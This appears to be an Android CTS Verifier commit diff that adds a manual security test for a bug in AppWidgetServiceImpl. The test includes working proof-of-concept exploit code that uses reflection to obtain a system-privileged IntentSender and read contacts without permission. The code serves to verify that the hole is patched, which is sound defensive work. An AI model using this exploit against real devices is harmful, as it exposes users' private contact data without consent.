summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorUpendra <pupendra@google.com>2016-05-24 04:28:46 -0700
committerUpendra <pupendra@google.com>2016-06-20 05:38:43 -0700
commit76bbeb5c1dbef0de00cf1cfea77f9f0b5d53b511 (patch)
tree7c1c1b77e0f660c05dd366f4b5b9376a8bbcb2a8
parent531276e53b0ab7bdc8df8ba21f80a7824ee68ea2 (diff)
downloadplatform_cts-76bbeb5c1dbef0de00cf1cfea77f9f0b5d53b511.tar.gz
platform_cts-76bbeb5c1dbef0de00cf1cfea77f9f0b5d53b511.tar.bz2
platform_cts-76bbeb5c1dbef0de00cf1cfea77f9f0b5d53b511.zip
DO NOT MERGE: This test verifies AppWidgetServiceImpl creating IntentSender
with system privileges which reads contacts without required permission. Bug: 19618745 Change-Id: I06c4152fe4feade918c6a931979cd4e82fa97b25 Signed-off-by: Upendra <pupendra@google.com>
-rw-r--r--apps/CtsVerifier/AndroidManifest.xml19
-rw-r--r--apps/CtsVerifier/res/drawable/example_appwidget_preview.pngbin0 -> 3522 bytes
-rw-r--r--apps/CtsVerifier/res/layout/activity_appwidgetbugreport.xml32
-rw-r--r--apps/CtsVerifier/res/layout/activity_appwidgetserviceimpitest.xml112
-rw-r--r--apps/CtsVerifier/res/layout/app_widget.xml37
-rw-r--r--apps/CtsVerifier/res/values/strings.xml17
-rw-r--r--apps/CtsVerifier/res/xml/app_widget_info.xml27
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/security/AppWidget.java51
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/security/AppWidgetServiceImplTest.java94
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/security/WidgetConfigActivity.java54
10 files changed, 443 insertions, 0 deletions
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index a3c78290833..90ca5de2ac1 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -365,6 +365,25 @@
android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
</activity>
+ <activity android:name=".security.AppWidgetServiceImplTest"
+ android:label="@string/appwidgettest_title"
+ android:configChanges="keyboardHidden|orientation|screenSize" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_security" />
+ </activity>
+ <activity android:name=".security.WidgetConfigActivity" android:exported="true" />
+ <receiver android:name=".security.AppWidget" >
+ <intent-filter>
+ <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+ </intent-filter>
+ <meta-data
+ android:name="android.appwidget.provider"
+ android:resource="@xml/app_widget_info" />
+ </receiver>
+
<activity android:name=".streamquality.StreamingVideoActivity"
android:label="@string/streaming_video"
android:configChanges="keyboardHidden|orientation|screenSize">
diff --git a/apps/CtsVerifier/res/drawable/example_appwidget_preview.png b/apps/CtsVerifier/res/drawable/example_appwidget_preview.png
new file mode 100644
index 00000000000..894b069a490
--- /dev/null
+++ b/apps/CtsVerifier/res/drawable/example_appwidget_preview.png
Binary files differ
diff --git a/apps/CtsVerifier/res/layout/activity_appwidgetbugreport.xml b/apps/CtsVerifier/res/layout/activity_appwidgetbugreport.xml
new file mode 100644
index 00000000000..47e53950923
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/activity_appwidgetbugreport.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:padding="20dp"
+ tools:context=".WidgetConfigActivity">
+
+ <TextView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_centerVertical="true"
+ android:layout_centerHorizontal="true"
+ android:id="@+id/bugreport"
+ style="@style/InstructionsSmallFont"/>
+
+</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/activity_appwidgetserviceimpitest.xml b/apps/CtsVerifier/res/layout/activity_appwidgetserviceimpitest.xml
new file mode 100644
index 00000000000..d2d4655586b
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/activity_appwidgetserviceimpitest.xml
@@ -0,0 +1,112 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<RelativeLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:padding="20dp">
+ <ImageView
+ android:id="@+id/img1"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_alignParentStart="true"
+ android:layout_alignParentTop="true"
+ android:contentDescription="@string/pass_button_text"
+ android:padding="10dp"
+ android:src="@drawable/fs_indeterminate"/>
+ <TextView
+ android:id="@+id/instruction1"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/appwidgettest_instruction1"
+ android:layout_toRightOf="@id/img1"
+ android:layout_alignParentEnd="true"
+ android:layout_alignParentTop="true"
+ style="@style/InstructionsSmallFont"/>
+ <ImageView
+ android:id="@+id/img2"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_alignParentStart="true"
+ android:contentDescription="@string/pass_button_text"
+ android:padding="10dp"
+ android:src="@drawable/fs_indeterminate"
+ android:layout_below="@id/instruction1"/>
+ <TextView
+ android:id="@+id/instruction2"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/appwidgettest_instruction2"
+ android:layout_toRightOf="@id/img2"
+ android:layout_below="@id/instruction1"
+ android:layout_alignParentEnd="true"
+ style="@style/InstructionsSmallFont"/>
+ <TextView
+ android:id="@+id/point1"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/appwidgettest_pnt1"
+ android:layout_toRightOf="@id/img2"
+ android:layout_below="@id/instruction2"
+ android:paddingTop="10dp"
+ android:paddingRight="2dp"
+ style="@style/InstructionsSmallFont"/>
+ <TextView
+ android:id="@+id/instruction3"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/appwidgettest_failtest"
+ android:layout_toRightOf="@id/point1"
+ android:layout_below="@id/instruction2"
+ android:layout_alignParentEnd="true"
+ android:paddingTop="10dp"
+ android:paddingBottom="5dp"
+ style="@style/InstructionsSmallFont"/>
+ <TextView
+ android:id="@+id/point2"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/appwidgettest_pnt2"
+ android:layout_toRightOf="@id/img2"
+ android:layout_below="@id/instruction3"
+ android:paddingRight="2dp"
+ style="@style/InstructionsSmallFont"/>
+ <TextView
+ android:id="@+id/instruction4"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/appwidgettest_passtest"
+ android:layout_toRightOf="@id/point2"
+ android:layout_below="@id/instruction3"
+ android:layout_alignParentEnd="true"
+ android:paddingBottom="5dp"
+ style="@style/InstructionsSmallFont"/>
+ <Button
+ android:id="@+id/readContacts"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_alignParentEnd="true"
+ android:text="@string/appwidgettest_start"
+ android:layout_below="@id/instruction4"
+ android:layout_toRightOf="@id/img2"/>
+ <include
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_alignParentBottom="true"
+ layout="@layout/pass_fail_buttons"/>
+</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/app_widget.xml b/apps/CtsVerifier/res/layout/app_widget.xml
new file mode 100644
index 00000000000..c03ddac164c
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/app_widget.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:background="#09C"
+ android:padding="20dp">
+
+ <TextView
+ android:id="@+id/appwidget_text"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_centerHorizontal="true"
+ android:layout_centerVertical="true"
+ android:layout_margin="8dp"
+ android:background="#09C"
+ android:contentDescription="@string/appwidgettest_widget_text"
+ android:text="@string/appwidgettest_widget_text"
+ android:textColor="#ffffff"
+ android:textSize="24sp"
+ android:textStyle="bold|italic"/>
+
+</RelativeLayout>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 37c2cf4c618..955e545b6fa 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -1579,4 +1579,21 @@
<string name="error_screen_pinning_did_not_start">Screen was not pinned.</string>
<string name="error_screen_pinning_did_not_exit">Screen was not unpinned.</string>
<string name="error_screen_pinning_couldnt_exit">Could not exit screen pinning through API.</string>
+
+ <string name="appwidgettest_title">AppWidgetServiceImpl Test</string>
+ <string name="appwidgettest_info">This test verifies AppWidgetServiceImpl creating IntentSender
+ with system privileges which reads contacts without required permission</string>
+ <string name="appwidgettest_instruction1">Please add \"CTS Verifier\" widget (having
+ \"EXAMPLE\" as label) to your Home screen and then return to this app</string>
+ <string name="appwidgettest_ready">Winget successfully added to Home screen</string>
+ <string name="appwidgettest_instruction2">Click on \"Read Contacts\" to get available
+ contacts count in the device</string>
+ <string name="appwidgettest_widget_text">EXAMPLE</string>
+ <string name="appwidgettest_start">Read contacts</string>
+ <string name="appwidgettest_pnt1">1.</string>
+ <string name="appwidgettest_pnt2">2.</string>
+ <string name="appwidgettest_passtest">If nothing is happening after clicking on
+ \"Read Contacts\", Please Pass the test case</string>
+ <string name="appwidgettest_failtest">If a new activity is displayed, showing number of
+ contacts available in the device(You have # contacts), Please fail the test case</string>
</resources>
diff --git a/apps/CtsVerifier/res/xml/app_widget_info.xml b/apps/CtsVerifier/res/xml/app_widget_info.xml
new file mode 100644
index 00000000000..45258214f69
--- /dev/null
+++ b/apps/CtsVerifier/res/xml/app_widget_info.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<appwidget-provider
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:configure="com.android.cts.verifier.security.WidgetConfigActivity"
+ android:initialKeyguardLayout="@layout/app_widget"
+ android:initialLayout="@layout/app_widget"
+ android:minHeight="40dp"
+ android:minWidth="40dp"
+ android:previewImage="@drawable/example_appwidget_preview"
+ android:updatePeriodMillis="86400000"
+ android:widgetCategory="home_screen">
+</appwidget-provider>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/AppWidget.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/AppWidget.java
new file mode 100644
index 00000000000..7f339695b04
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/AppWidget.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.security;
+
+import android.appwidget.AppWidgetManager;
+import android.appwidget.AppWidgetProvider;
+import android.content.Context;
+import android.widget.RemoteViews;
+
+import com.android.cts.verifier.R;
+
+/**
+ * Implementation of App Widget functionality.
+ */
+public class AppWidget extends AppWidgetProvider {
+
+ @Override
+ public void onUpdate(Context context, AppWidgetManager appWidgetManager, int[] appWidgetIds) {
+ // There may be multiple widgets active, so update all of them
+ for (int i = 0; i < appWidgetIds.length; i++) {
+ updateAppWidget(context, appWidgetManager, appWidgetIds[i]);
+ }
+ }
+
+ static void updateAppWidget(Context context, AppWidgetManager appWidgetManager, int
+ appWidgetId) {
+ CharSequence widgetText = context.getString(R.string.appwidgettest_widget_text);
+ // Construct the RemoteViews object
+ RemoteViews views = new RemoteViews(context.getPackageName(), R.layout.app_widget);
+ views.setTextViewText(R.id.appwidget_text, widgetText);
+
+ // Instruct the widget manager to update the widget
+ appWidgetManager.updateAppWidget(appWidgetId, views);
+ }
+}
+
+
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/AppWidgetServiceImplTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/AppWidgetServiceImplTest.java
new file mode 100644
index 00000000000..b5c1208a972
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/AppWidgetServiceImplTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.security;
+
+import android.app.Activity;
+import android.appwidget.AppWidgetManager;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.view.View;
+import android.widget.Button;
+import android.widget.TextView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+public class AppWidgetServiceImplTest extends PassFailButtons.Activity {
+
+ private int mWidgetId;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_appwidgetserviceimpitest);
+ setPassFailButtonClickListeners();
+ setInfoResources(R.string.appwidgettest_title, R.string.appwidgettest_info, -1);
+ Button readContacts= (Button) findViewById(R.id.readContacts);
+ readContacts.setOnClickListener(new View.OnClickListener() {
+ @Override
+ public void onClick(View v) {
+ try {
+ runWidgetConfig();
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+ });
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+
+ AppWidgetManager widgetManager = (AppWidgetManager) getSystemService(APPWIDGET_SERVICE);
+ int[] appWidgetIds =
+ widgetManager.getAppWidgetIds(new ComponentName(this, AppWidget.class));
+ boolean haveWidget = appWidgetIds.length != 0;
+
+ if (haveWidget) {
+ mWidgetId = appWidgetIds[0];
+ }
+
+ ((TextView) findViewById(R.id.instruction1)).setText(
+ haveWidget ? R.string.appwidgettest_ready : R.string.appwidgettest_instruction1);
+ findViewById(R.id.readContacts).setEnabled(haveWidget);
+ }
+
+ /**
+ * The actual exploit is in runWidgetConfig method below
+ */
+ public void runWidgetConfig() throws Exception {
+ IBinder serviceBinder =
+ (IBinder) Class.forName("android.os.ServiceManager")
+ .getMethod("getService", String.class).invoke(null, "appwidget");
+
+ Object service =
+ Class.forName("com.android.internal.appwidget.IAppWidgetService$Stub")
+ .getMethod("asInterface", IBinder.class).invoke(null, serviceBinder);
+
+ IntentSender intentSender = (IntentSender) service.getClass()
+ .getMethod("createAppWidgetConfigIntentSender", String.class, int.class, int.class)
+ .invoke(service, getPackageName(),
+ mWidgetId, Intent.FLAG_GRANT_READ_URI_PERMISSION);
+
+ startIntentSender(intentSender,
+ new Intent().setData(WidgetConfigActivity.INTERESTING_URI), 0, 0, 0);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/WidgetConfigActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/WidgetConfigActivity.java
new file mode 100644
index 00000000000..895f3189f09
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/WidgetConfigActivity.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.security;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
+import android.provider.ContactsContract;
+import android.widget.TextView;
+
+import com.android.cts.verifier.R;
+
+/**
+ * The actual exploit is in AppWidgetServiceImplTest, here we just use granted permission
+ */
+public class WidgetConfigActivity extends Activity {
+
+ public static final Uri INTERESTING_URI = ContactsContract.Contacts.CONTENT_URI;
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ Intent intent = getIntent();
+ // Launcher opening config
+ if (intent.getData() == null) {
+ setResult(RESULT_OK);
+ finish();
+ return;
+ }
+
+ Cursor cursor = getContentResolver().query(INTERESTING_URI, null, null, null, null);
+ String message = "You have " + cursor.getCount() + " contacts.";
+ cursor.close();
+
+ setContentView(R.layout.activity_appwidgetbugreport);
+ ((TextView) findViewById(R.id.bugreport)).setText(message);
+ }
+}